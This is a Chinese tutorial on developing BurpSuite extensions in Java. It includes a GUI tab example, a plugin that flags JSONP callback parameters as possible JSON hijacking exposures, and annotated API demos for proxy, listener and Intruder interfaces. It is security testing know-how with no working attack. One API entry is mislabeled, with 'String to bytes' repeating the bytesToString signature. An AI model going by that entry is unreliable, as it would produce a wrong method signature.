64
65
66
67
68
69
70
71
72
73
74
#!java
/*
* BurpSuite 插件开发指南之 Java 篇
* writend by Her0in
*/
package burp;

import java.awt.Component;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.io.PrintWriter;
import javax.swing.JButton;
import javax.swing.JPanel;
import javax.swing.SwingUtilities;

public class BurpExtender implements IBurpExtender, ITab{

public PrintWriter stdout;
public IExtensionHelpers hps;
public IBurpExtenderCallbacks cbs;

public JPanel jPanelMain;

@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {

callbacks.setExtensionName("BurpExtender");

this.hps = callbacks.getHelpers();
this.cbs = callbacks;
this.stdout = new PrintWriter(callbacks.getStdout(), true);

this.stdout.println("hello burp!");

SwingUtilities.invokeLater(new Runnable() {
@Override
public void run() {

jPanelMain = new JPanel();

JButton jButton = new JButton("老司机,快点我!");

jButton.addMouseListener(new MouseAdapter() {

@Override
public void mouseClicked(MouseEvent e){
stdout.println("哔...");
}

});


// 将按钮添加到 主面板 jPanelMain 中.
jPanelMain.add(jButton);

// 设置自定义组件并添加标签
cbs.customizeUiComponent(jPanelMain);
cbs.addSuiteTab(BurpExtender.this);
}
});
}

// 实现 ITab 接口的 getTabCaption 方法
@Override
public String getTabCaption() {
return "Burp 标签测试";
}

// 实现 ITab 接口的 getUiComponent 方法
@Override
public Component getUiComponent() {
return jPanelMain;
}
}

从上述代码中,读者也能够看到,Java 的 Swing 图形编程有点蛋疼,需要一层层的编写。首先需要添加一个 JPanel 上去,然后在这个 JPanel 中再添加图形组件,如果还有上层的图形组件,则需要再添加一个 Panel 类型的控件。

在这里有一个比较快速编写 Burp GUI插件的方法,先利用 NetBeans IDE 将图形界面拖拽式的写好,然后将上述显示控件的代码替换为显示这个 JFrame 的代码。之后编写相关的事件响应代码。

0x03 BurpSuite插件开发实例之 JSON 水坑 检测插件

本小节,笔者将会使用一个实例来“抛砖引玉”式的描述编写带有 GUI 的 Burp 插件。读者可以把关注点放在图形控件的放置顺序和事件处理上,可以无视 JSON 水坑检测的逻辑是否严谨以及误报率,准确率是否科学等问题。

最终编写好的插件如下图:

img

顶部的控件是一个表格列表控件,会放置检测到的结果。下面两个 ITextEditor 分别显示当前 HTTP 数据包的请求信息和响应信息。

代码就直接贴出来吧,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
#!java
/*
* BurpSuite 插件开发指南之 Java 篇
* writend by Her0in
*/
package burp;

import java.awt.BorderLayout;
import java.awt.Component;
import java.awt.Rectangle;
import java.awt.event.ComponentEvent;
import java.awt.event.ComponentListener;
import java.io.PrintWriter;
import java.util.Vector;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JSplitPane;
import javax.swing.JTabbedPane;
import javax.swing.ScrollPaneConstants;
import javax.swing.SwingUtilities;

public class BurpExtender implements IBurpExtender, ITab, IHttpListener{

public PrintWriter stdout;
public IExtensionHelpers hps;
public IBurpExtenderCallbacks cbs;

public IRequestInfo iRequestInfo;
public IResponseInfo iResponseInfo;

public JPanel jPanel_top;
public JTabbedPane jTabbedPane;
public JScrollPane jScrollPane;
public JSplitPane jSplitPaneV;

// 自己封装一个 Table 控件
private Her0inTable jsonTable;

//请求,响应信息显示
public JPanel jPanel_reqInfo_left;
public JPanel jPanel_respInfo_right;
public JSplitPane jSplitPaneInfo;
public ITextEditor iRequestTextEditor;
public ITextEditor iResponseTextEditor;

Boolean bFind = false;
String strTags = "";

@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {

callbacks.setExtensionName("JSON 水坑检测");

this.hps = callbacks.getHelpers();
this.cbs = callbacks;
this.stdout = new PrintWriter(callbacks.getStdout(), true);

this.stdout.println("hello burp!");

SwingUtilities.invokeLater(new Runnable() {
@Override
public void run() {

// 初始化垂直分隔面板
jSplitPaneV = new JSplitPane(JSplitPane.VERTICAL_SPLIT, true);
jSplitPaneV.setDividerLocation(0.5);
jSplitPaneV.setOneTouchExpandable(true);

// 垂直分隔面板的顶部
jPanel_top = new JPanel();
// 设置垂直分隔面板顶部的子控件
// 放置表格控件
jTabbedPane = new JTabbedPane();

// 初始化 Burp 提供的 ITextEditor 编辑器接口
iRequestTextEditor = cbs.createTextEditor();
iRequestTextEditor.setEditable(false);

iResponseTextEditor = cbs.createTextEditor();
iResponseTextEditor.setEditable(false);

// 初始化 jsonTable
jsonTable = new Her0inTable(iRequestTextEditor, iResponseTextEditor, stdout);

// 最好放置一个 JScrollPane
JScrollPane jScrollPane1 = new JScrollPane(jsonTable.getTab());
jScrollPane1.setHorizontalScrollBarPolicy(ScrollPaneConstants.HORIZONTAL_SCROLLBAR_AS_NEEDED);
jScrollPane1.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_AS_NEEDED);

jTabbedPane.scrollRectToVisible(new Rectangle(500, 70));
jTabbedPane.addTab("JSON 水坑检测", jScrollPane1);

jScrollPane = new JScrollPane(jTabbedPane);
jScrollPane.setHorizontalScrollBarPolicy(ScrollPaneConstants.HORIZONTAL_SCROLLBAR_AS_NEEDED);
jScrollPane.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_AS_NEEDED);
jPanel_top.add(jScrollPane, BorderLayout.CENTER);
jPanel_top.setLayout(null);

// 添加componentResized事件 否则在改变Burp 主窗口大小时会错位
jPanel_top.addComponentListener(new ComponentListener() {

@Override
public void componentShown(ComponentEvent e) {
}

@Override
public void componentResized(ComponentEvent e) {
if(e.getSource() == jPanel_top){
jScrollPane.setSize(jPanel_top.getSize().width - 5,
jPanel_top.getSize().height - 5);
jScrollPane.setSize(jPanel_top.getSize().width - 10,
jPanel_top.getSize().height - 10);
}
}

@Override
public void componentMoved(ComponentEvent e) {
// TODO Auto-generated method stub
}

@Override
public void componentHidden(ComponentEvent e) {
// TODO Auto-generated method stub
}
});

// 设置垂直分隔面板底部的子控件

// 显示请求/响应 信息的水平分隔面板初始化
jSplitPaneInfo = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT, true);
jSplitPaneInfo.setDividerLocation(0.5);
jSplitPaneInfo.setOneTouchExpandable(true);

// 初始化 请求,响应信息显示 面板
jPanel_reqInfo_left = new JPanel();
jPanel_respInfo_right = new JPanel();

jPanel_reqInfo_left.setLayout(new BorderLayout());
jPanel_respInfo_right.setLayout(new BorderLayout());

// 将 Burp 提供的 ITextEditor 编辑器 添加到请求,响应信息显示 面板中
jPanel_reqInfo_left.add(iRequestTextEditor.getComponent(),
BorderLayout.CENTER);
jPanel_respInfo_right.add(iResponseTextEditor.getComponent(),
BorderLayout.CENTER);

// 分别添加 请求,响应信息显示 面板 到 垂直分隔面板底部
jSplitPaneInfo.add(jPanel_reqInfo_left, JSplitPane.LEFT);
jSplitPaneInfo.add(jPanel_respInfo_right, JSplitPane.RIGHT);

// 最后,为垂直分隔面板添加顶部面板和水平分隔面板
jSplitPaneV.add(jPanel_top, JSplitPane.TOP);
jSplitPaneV.add(jSplitPaneInfo, JSplitPane.BOTTOM);

// 设置自定义组件并添加标签
cbs.customizeUiComponent(jSplitPaneV);
cbs.addSuiteTab(BurpExtender.this);
}
});

callbacks.registerHttpListener(this);
}

// 实现 ITab 接口的 getTabCaption 方法
@Override
public String getTabCaption() {
return "JSON 水坑检测";
}

// 实现 ITab 接口的 getUiComponent 方法
@Override
public Component getUiComponent() {
return jSplitPaneV;
}


public void CheckJson(IHttpRequestResponse messageInfo) {
try {
this.iRequestInfo = this.hps.analyzeRequest(messageInfo);
this.iResponseInfo = this.hps.analyzeResponse(messageInfo.getResponse());
} catch (Exception e) {
return ;
}

// stdout.println(messageInfo.getHttpService().getHost());

this.bFind = false;
java.util.List<IParameter> listIParameters = iRequestInfo.getParameters();
strTags = "";
for (IParameter param : listIParameters) {
String strName = param.getName().toLowerCase();
if(strName.indexOf("callback") != -1 || strName.indexOf("_callback") !=-1 ||
strName.indexOf("cb") !=-1 || strName.indexOf("_cb") != -1 ||
strName.indexOf("huidiao") !=-1 ){
strTags += "# find => " + strName;
this.bFind = true;
}
}


if(this.bFind){
Vector<String> vectorRow = new Vector<String>();
vectorRow.addElement(new String(Integer.toString(jsonTable.defaultTableModel.getRowCount())));
vectorRow.addElement(new String(this.iRequestInfo.getUrl().getHost()));
vectorRow.addElement(new String(this.iRequestInfo.getMethod()));
if(this.iRequestInfo.getUrl().getQuery() != null){
vectorRow.addElement(new String(this.iRequestInfo.getUrl().getPath() + "?" + this.iRequestInfo.getUrl().getQuery()));
}else{
vectorRow.addElement(new String(this.iRequestInfo.getUrl().getPath()));
}
vectorRow.addElement(new String(strTags));
jsonTable.defaultTableModel.addRow(vectorRow);
jsonTable.iHttpList.add(messageInfo);
}
}

@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {

if (!messageIsRequest) {
//JSON 检测
this.CheckJson(messageInfo);
}
}
}

转自:https://www.tuicool.com/articles/aaaa6fA

BurpSuite插件开发指南之 API(上下篇)

0x00 前言

BurpSuite 作为一款 Web 安全测试的利器,得益于其强大的代理,操控数据的功能,在 Web 安全测试过程中,为我们省下了不少时间和精力专注于漏洞的挖掘和测试。更重要的是 BurpSuite 提供了插件开发接口,Web 安全测试人员可以根据实际需求自己开发出提高安全测试效率的插件,虽然 BApp Store 上面已经提供了很多插件,其中也不乏优秀好用的插件,但是作为一名专业的 Web 安全测试人员,有必要熟练掌握 BurpSuite 插件开发技术。国内针对 BurpSuite 插件开发的技术文档并不是很多,也不够全面,《BurpSuite 插件开发指南》系列文章作为 BurpSuite 非官方非权威开发指南,希望在这块填补一些空白。文章中难免有纰漏,望读者自行验证并及时指出。

《BurpSuite 插件开发指南》系列文章如下:

  • 《BurpSuite插件开发指南之 API 篇》
  • 《BurpSuite插件开发指南之 Java 篇》
  • 《BurpSuite插件开发指南之 Python 篇》

在第一篇文章中,笔者将会介绍 BurpSuite 所提供的开发接口的功能和参数说明,但是不会对 BurpSuite 本身所提供的功能作太多说明。剩余两篇则会分别使用案例阐述 Java 和 Python 进行插件开发的技术。其中会用到 Java 的 Swing 包进行 GUI 编程。

0x01 BurpSuite 插件开发说明

BurpSuite 插件扩展开发所支持的编程语言有 Java 和 Python,使用这两种开发语言开发的插件在功能上并没有太多区别,使用原生的 Java 开发的插件要比 Python 开发的插件,加载和执行效率更高。所以,笔者推荐使用 Java 作为插件开发的首选语言。

SDK:

  • 开发文档: BurpSuite 插件开发文档在线地址: BurpSuite Extension Dev Doc 或者可以在 BurpSuite 程序的 “Extender” 标签下的 “APIs” 子标签里找到。
  • SDK 包: 目前,BurpSuite 官网已经不再提供 SDK 包文件的下载,读者可以从 BurpSuite 程序中导出。
  • JPython:使用 Python 开发插件,需要先安装 JPython

注:导出 SDK 包文件操作步骤: “Extender — APIs - Save interface files(左下角)”

开发 IDE:

  • 使用 Java 开发插件的读者可以使用 Eclipse 这款强大的 IDE 。当然也可以使用其他 Java 开发 IDE,如 IDEA。
  • 使用 Python 开发插件的读者也可以使用 Eclipse (需要安装 PyDev 插件)作为插件开发的 IDE,或者使用 Notepad++, PyCharm。

注:推荐使用 Eclipse 作为插件开发 IDE, 除了 Java 之外,Eclipse 对 JPython 也有很好的支持。

辅助工具:

  • Swing Inspector 是一个 Java Swing/AWT 用户界面分析、调试工具。可以快速调试,定位问题,提高开发效率。

学习资料:

BurpSuite 官方并未提供详细的开发文档,只有少量的开发实例,可以 在此找到 。不过,BurpSuite 官方建立了 插件开发者社区博客 ,可以帮助开发者解答疑问。

在 乌云Drops 上也有两篇专门介绍 BurpSuite 插件开发的文章,读者可以参考:

相较于阅读许多参考资料从零开始编写插件,笔者更推荐在熟悉了开发文档后直接在已有的源码中“照猫画虎”进行插件的开发。现有的插件,读者可以在 BApp Store 中找到,Python 版本的插件可以直接查看源码进行学习,Java 版本的插件可以在反编译后查看其源码进行学习。

注:安装了 BApp Store 中的插件后,会在 BurpSuite 所在目录下的 bapps 文件夹中找到插件文件。

插件开发“方法论”:

插件型的应用程序在设计时就一定会考虑插件的开发,因此,主程序与插件之间必然有一种“约定”,在开发插件的过程中,只需按照程序开发者设计的这种“约定”开发就好了,读者在阅读参考官方开发文档时只需注意以下三点:

  • 接口方法功能
  • 接口方法入参(参数类型和参数个数)
  • 接口方法的返回值(返回值类型)

在关注上述三点以后,就可以把多个接口方法联系在一起,组织起一定的逻辑,这样,开发的思路就顺理成章了。

0x02 API 参考

本节将对 BurpSuite 的官方文档做简要的说明,并给出简单的 Demo code,各个接口具体的使用实例,可以在笔者后续的两篇文章中看到。

IBurpExtender 接口

public interface IBurpExtender

所有的扩展必须实现此接口,实现的类名必须为“BurpExtender”。在 burp 包中,必须申明为 public ,并且必须提供一个默认的构造器。此接口实现了以下方法:

1
2
3
#!java

void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)

此方法将在扩展加载后被调用,它注册了一个 IBurpExtenderCallbacks 接口的实例, IBurpExtenderCallbacks 接口提供了许多在开发插件过程中常用的一些操作。

参数说明:

  • callbacks 是一个 IBurpExtenderCallbacks 对象。

Demo code:

1
2
3
4
5
6
7
8
#!java
package burp;
public class BurpExtender implements IBurpExtender{
@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){
// TODO here
}
}

IBurpExtenderCallbacks

public interface IBurpExtenderCallbacks

此接口中实现的方法和字段在插件开发过程中会经常使用到。 Burp Suite 利用此接口向扩展中传递了许多回调方法,这些回调方法可被用于在 Burp 中执行多个操作。当扩展被加载后,Burp 会调用 registerExtenderCallbacks() 方法,并传递一个 IBurpExtenderCallbacks 的实例。扩展插件可以通过这个实例调用很多扩展 Burp 功能必需的方法。如:设置扩展插件的属性,操作 HTTP 请求和响应以及启动其他扫描功能等等。

此接口提供了很多的方法和字段,在此不一一列举,具体的说明可以在 burp SDK 中的 IBurpExtenderCallbacks.java 或 https://portswigger.net/burp/extender/api/burp/IBurpExtenderCallbacks.html 中查看。

Demo code:

1
2
3
4
5
6
7
8
9
#!java
package burp;

public class BurpExtender implements IBurpExtender{
@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){
callbacks.setExtensionName("Her0in"); //设置扩展名称为 “Her0in”
}
}

IContextMenuFactory

public interface IContextMenuFactory

Burp 的作者在设计上下文菜单功能中采用了工厂模式的设计模式,扩展可以实现此接口,然后调用 IBurpExtenderCallbacks.registerContextMenuFactory() 注册自定义上下文菜单项的工厂。

此接口提供了如下方法:

1
2
#!java
java.util.List<javax.swing.JMenuItem> createMenuItems(IContextMenuInvocation invocation)

当用户在 Burp 中的任何地方调用一个上下文菜单时,Burp 则会调用这个工厂方法。此方法会根据菜单调用的细节,提供应该被显示在上下文菜单中的任何自定义上下文菜单项。

参数说明:

  • invocation - 一个实现 IMessageEditorTabFactory 接口的对象, 通过此对象可以获取上下文菜单调用的细节。

返回值:

此工厂方法将会返回需要被显示的自定义菜单项的一个列表(包含子菜单,checkbox 菜单项等等), 若无菜单项显示,此工厂方法会返回 null 。

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!java
package burp;

import java.util.ArrayList;
import java.util.List;
import javax.swing.JMenu;
import javax.swing.JMenuItem;

public class BurpExtender implements IBurpExtender, IContextMenuFactory{

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){

callbacks.setExtensionName("Her0in");
callbacks.registerContextMenuFactory(this);
}

@Override
public List<JMenuItem> createMenuItems(final IContextMenuInvocation invocation) {

List<JMenuItem> listMenuItems = new ArrayList<JMenuItem>();
//子菜单
JMenuItem menuItem;
menuItem = new JMenuItem("子菜单测试");

//父级菜单
JMenu jMenu = new JMenu("Her0in");
jMenu.add(menuItem);
listMenuItems.add(jMenu);
return listMenuItems;
}
}

IContextMenuInvocation

public interface IContextMenuInvocation

此接口被用于获取当 Burp 调用扩展提供的 IContextMenuFactory 工厂里的上下文菜单时的一些细节,如能获取到调用了扩展提供的自定义上下文菜单的 Burp 工具名称(在 IBurpExtenderCallbacks 中定义)或功能组件的名称(在 IContextMenuInvocation 中定义)。

此接口提供了如下方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!java  
// 此方法可被用于获取本地Java输入事件,并作为上下文菜单调用的触发器
java.awt.event.InputEvent getInputEvent()

// 此方法被用于获取上下文中被调用的菜单
byte getInvocationContext()

// 此方法被用于获取用户选中的 Scanner 问题的细节
IScanIssue[] getSelectedIssues()

// 此方法被用于获取当前显示的或用户选中的 HTTP 请求/响应的细节
IHttpRequestResponse[] getSelectedMessages()

// 此方法被用于获取用户所选的当前消息的界限(消息需可适用)
int[] getSelectionBounds()

// 此方法被用于获取调用上下文菜单的 Burp 工具
int getToolFlag()

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!java
package burp;

import java.util.ArrayList;
import java.util.List;

import javax.swing.JMenu;
import javax.swing.JMenuItem;

public class BurpExtender implements IBurpExtender, IContextMenuFactory{

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){
callbacks.setExtensionName("Her0in");
callbacks.registerContextMenuFactory(this);
}

@Override
public List<JMenuItem> createMenuItems(final IContextMenuInvocation invocation) {

List<JMenuItem> listMenuItems = new ArrayList<JMenuItem>();
// 菜单只在 REPEATER 工具的右键菜单中显示
if(invocation.getToolFlag() == IBurpExtenderCallbacks.TOOL_REPEATER){
//子菜单
JMenuItem menuItem;
menuItem = new JMenuItem("子菜单测试");

//父级菜单
JMenu jMenu = new JMenu("Her0in");
jMenu.add(menuItem);
listMenuItems.add(jMenu);
}
return listMenuItems;
}
}

ICookie

public interface ICookie

此接口用于获取 HTTP cookie 的一些信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!java
// 此方法用于获取 Cookie 的域
java.lang.String getDomain()

// 此方法用于获取 Cookie 的过期时间
java.util.Date getExpiration()

// 此方法用于获取 Cookie 的名称
java.lang.String getName()

// 此方法用于获取 Cookie 的路径
java.lang.String getPath()

// 此方法用于获取 Cookie 的值
java.lang.String getValue()

IExtensionHelpers

public interface IExtensionHelpers

此接口提供了很多常用的辅助方法,扩展可以通过调用 IBurpExtenderCallbacks.getHelpers获得此接口的实例。

开发插件常用的几个方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!java
// 此方法会添加一个新的参数到 HTTP 请求中,并且会适当更新 Content-Length
byte[] addParameter(byte[] request, IParameter parameter)

// 此方法用于分析 HTTP 请求信息以便获取到多个键的值
IRequestInfo analyzeRequest(byte[] request)

// 此方法用于分析 HTTP 响应信息以便获取到多个键的值
IResponseInfo analyzeResponse(byte[] response)

// 构建包含给定的 HTTP 头部,消息体的 HTTP 消息
byte[] buildHttpMessage(java.util.List<java.lang.String> headers, byte[] body)

// 对给定的 URL 发起 GET 请求
byte[] buildHttpRequest(java.net.URL url)

// bytes 到 String 的转换
java.lang.String bytesToString(byte[] data)

// String 到 bytes 的转
java.lang.String bytesToString(byte[] data)

IExtensionStateListener

public interface IExtensionStateListener

扩展可以实现此接口,然后调用 IBurpExtenderCallbacks.registerExtensionStateListener() 注册一个扩展的状态监听器。在扩展的状态发生改变时,监听器将会收到通知。注意:任何启动后台线程或打开系统资源(如文件或数据库连接)的扩展插件都应该注册一个监听器,并在被卸载后终止线程/关闭资源。

此接口只提供了一个方法:

1
2
#!java
void extensionUnloaded()

在插件被 unload (卸载)时,会调用此方法,可以通过重写此方法,在卸载插件时,做一些善后处理工作。

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!java
package burp;
import java.io.PrintWriter;

public class BurpExtender implements IBurpExtender, IExtensionStateListener{

private PrintWriter stdout;

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){

this.stdout = new PrintWriter(callbacks.getStdout(), true);

callbacks.setExtensionName("Her0in");
// 先注册扩展状态监听器
callbacks.registerExtensionStateListener(this);
}

// 重写 extensionUnloaded 方法
@Override
public void extensionUnloaded() {
// TODO
this.stdout.println("extensionUnloaded ...");
}
}

IHttpListener

public interface IHttpListener

扩展可以实现此接口。通过调用 IBurpExtenderCallbacks.registerHttpListener() 注册一个 HTTP 监听器。Burp 里的任何一个工具发起 HTTP 请求或收到 HTTP 响应都会通知此监听器。扩展可以得到这些交互的数据,进行分析和修改。

此接口提供了如下方法:

1
2
#!java
void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo)

如果在开发插件的时候需要获取到所有的 HTTP 数据包,包括通过 Repeater 工具自定义修改的请求,则必须实现此接口,重写该方法。

参数说明:

1
2
3
4
5
6
7
8
9
#!java  
// 指示了发起请求或收到响应的 Burp 工具的 ID,所有的 toolFlag 定义在 IBurpExtenderCallbacks 接口中。
int toolFlag

// 指示该消息是请求消息(值为True)还是响应消息(值为False)
messageIsRequest

// 被处理的消息的详细信息,是一个 IHttpRequestResponse 对象
messageInfo

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!java
package burp;

public class BurpExtender implements IBurpExtender, IHttpListener{

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){

callbacks.setExtensionName("Her0in");
callbacks.registerHttpListener(this);
}

@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest,
IHttpRequestResponse messageInfo) {

// TODO here
}
}

IHttpRequestResponse

public interface IHttpRequestResponse

此接口用于检索和更新有关 HTTP 消息的详细信息。

注意:setter 方法通常只能在消息被被处理之前使用,因为它是一个写操作,因此在只读的上下文中也是不可用的。与响应细节相关的 getter 方法只能用在请求发出后使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!java
// 获取用户标注的注释信息
java.lang.String getComment()
// 获取用户标注的高亮信息
java.lang.String getHighlight()
// 获取请求/响应的 HTTP 服务信息
IHttpService getHttpService()
// 获取 HTTP 请求信息
byte[] getRequest()
// 获取 HTTP 响应信息
byte[] getResponse()
// 更新用户标注的注释信息
void setComment(java.lang.String comment)
// 更新用户标注的高亮信息
void setHighlight(java.lang.String color)
// 更新 请求/响应的 HTTP 服务信息
void setHttpService(IHttpService httpService)
// 更新 HTTP 请求信息
void setRequest(byte[] message)
// 更新 HTTP 响应信息
void setResponse(byte[] message)

IHttpRequestResponsePersisted

public interface IHttpRequestResponsePersisted extends IHttpRequestResponse

此接口是 IHttpRequestResponse 接口的一个子接口,该接口用于使用 IBurpExtenderCallbacks.saveBuffersToTempFiles() 将一个IHttpRequestResponse 对象的请求和响应消息保存到临时文件。

此接口只提供了一个方法:

1
2
#!java
void deleteTempFiles()

注:此方法已经过时了,并且不会执行任何操作。

IHttpRequestResponseWithMarkers

public interface IHttpRequestResponseWithMarkers extends IHttpRequestResponse

此接口是 IHttpRequestResponse 接口的一个子接口,此接口用于那些已被标记的 IHttpRequestResponse 对象,扩展可以使用 IBurpExtenderCallbacks.applyMarkers() 创建一个此接口的实例,或提供自己的实现。标记可用于各种情况,如指定Intruder 工具的 payload 位置,Scanner 工具的插入点或将 Scanner 工具的一些问题置为高亮。

此接口提供了两个分别操作请求和响应的方法:

1
2
3
4
5
6
#!java
// 获取带有标记的请求信息的详细信息
java.util.List<int[]> getRequestMarkers()

// 获取带有标记的请求信息的详细信息
java.util.List<int[]> getResponseMarkers()

这两个方法的返回值均为一个整型数组列表,分别表示请求消息/响应消息标记偏移的索引对。列表中的每一项目都是一个长度为 2 的整型数组(int 2 )包含标记开始和结束的偏移量。如果没有定义请求/响应标记,返回 null。

IHttpService

public interface IHttpService

此接口用于提供关于 HTTP 服务信息的细节。

此接口提供了如下方法:

1
2
3
4
5
6
7
8
9
#!java
// 返回 HTTP 服务信息的主机名或 IP 地址
java.lang.String getHost()

// 返回 HTTP 服务信息的端口
int getPort()

// 返回 HTTP 服务信息的协议
java.lang.String getProtocol()

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!java
package burp;

import java.io.PrintWriter;

public class BurpExtender implements IBurpExtender, IHttpListener{

private PrintWriter stdout;
public IBurpExtenderCallbacks iCallbacks;

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){

this.stdout = new PrintWriter(callbacks.getStdout(), true);
callbacks.setExtensionName("Her0in");
callbacks.registerHttpListener(this);
}

@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest,
IHttpRequestResponse messageInfo) {

IHttpService iHttpService = messageInfo.getHttpService();

this.stdout.println(iHttpService.getHost());
this.stdout.println(iHttpService.getPort());
this.stdout.println(iHttpService.getProtocol());
}
}

IInterceptedProxyMessage

public interface IInterceptedProxyMessage

注:在 BurpSuite 的 Proxy 工具下的 Options 标签里有几个自定义消息拦截和响应的功能。读者可以在熟悉了这几个功能后,再了解此接口的作用。

此接口不能被扩展实现,它表示了已被 Burp 代理拦截的 HTTP 消息。扩展可以利用此接口注册一个 IProxyListener 以便接收代理消息的细节。

此接口提供了以下方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!java
// 获取被拦截的请求消息的客户端 IP 地址
java.net.InetAddress getClientIpAddress()

// 获取当前定义的拦截操作类型,具体的类型可以在本接口中看到
int getInterceptAction()

// 获取 Burp Proxy 处理拦截消息监听器的名称
java.lang.String getListenerInterface()

// 获取被拦截的消息的详细信息
IHttpRequestResponse getMessageInfo()

// 获取请求/响应消息的唯一引用号
int getMessageReference()

// 设置更新拦截操作
void setInterceptAction(int interceptAction)

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!java
package burp;

import java.io.PrintWriter;

public class BurpExtender implements IBurpExtender, IProxyListener{

private PrintWriter stdout;

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){
callbacks.setExtensionName("Her0in");
this.stdout = new PrintWriter(callbacks.getStdout(), true);
callbacks.registerProxyListener(this);
}

@Override
public void processProxyMessage(boolean messageIsRequest,
IInterceptedProxyMessage message) {
// 只操作请求消息
if(messageIsRequest){
// 获取并打印出客户端 IP
this.stdout.println(message.getClientIpAddress());
// Drop 掉所有请求
message.setInterceptAction(IInterceptedProxyMessage.ACTION_DROP);
// TODO here
}
}
}

IIntruderAttack

public interface IIntruderAttack

此接口用于操控 Intruder 工具的攻击详情。

此接口提供了以下方法:

1
2
3
4
5
6
#!java
// 获取攻击中的 HTTP 服务信息
IHttpService getHttpService()

// 获取攻击中的请求模版
byte[] getRequestTemplate()

IIntruderPayloadGenerator

public interface IIntruderPayloadGenerator

此接口被用于自定义 Intruder 工具的 payload 生成器。当需要发起一次新的 Intruder 攻击时,扩展需要注册一个 IIntruderPayloadGeneratorFactory 工厂并且必须返回此接口的一个新的实例。此接口会将当前插件注册为一个 Intruder 工具的 payload 生成器。

1
2
3
4
5
6
7
8
9
10
#!java
此接口提供了如下方法:
// 此方法由 Burp 调用,用于获取下一个 payload 的值
byte[] getNextPayload(byte[] baseValue)

// 此方法由 Burp 调用,用于决定 payload 生成器是否能够提供更多 payload
boolean hasMorePayloads()

// 此方法由 Burp 调用,用于重置 payload 生成器的状态,这将导致下一次调用 getNextPayload() 方法时会返回第一条 payload
void reset()

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!java
package burp;

public class BurpExtender implements IBurpExtender, IIntruderPayloadGeneratorFactory{

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){
callbacks.setExtensionName("Her0in");
// 将当前插件注册为一个 Intruder 工具的 payload 生成器
callbacks.registerIntruderPayloadGeneratorFactory(this);
}

@Override
public String getGeneratorName() {
// 设置 payload 生成器名称
return "自定义 payload 生成器";
}

@Override
public IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack) {
// 返回一个新的 payload 生成器的实例
return new IntruderPayloadGenerator();
}

// 实现 IIntruderPayloadGenerator 接口,此接口提供的方法是由 Burp 来调用的
class IntruderPayloadGenerator implements IIntruderPayloadGenerator{

@Override
public boolean hasMorePayloads() {
// TODO here
return false;
}

@Override
public byte[] getNextPayload(byte[] baseValue) {
// TODO here
return null;
}

@Override
public void reset() {
// TODO here

}
}
}

在 Burp 加载了上述插件后,可以按照下图标红的步骤操作,即可看到自定义的 payload 生成器:

img

IIntruderPayloadGeneratorFactory

public interface IIntruderPayloadGeneratorFactory

扩展可以实现此接口,并且可以调用 IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory() 注册一个自定义的 Intruder 工具的 payload 生成器。

该接口提供了以下方法:

1
2
3
4
5
6
7
#!java
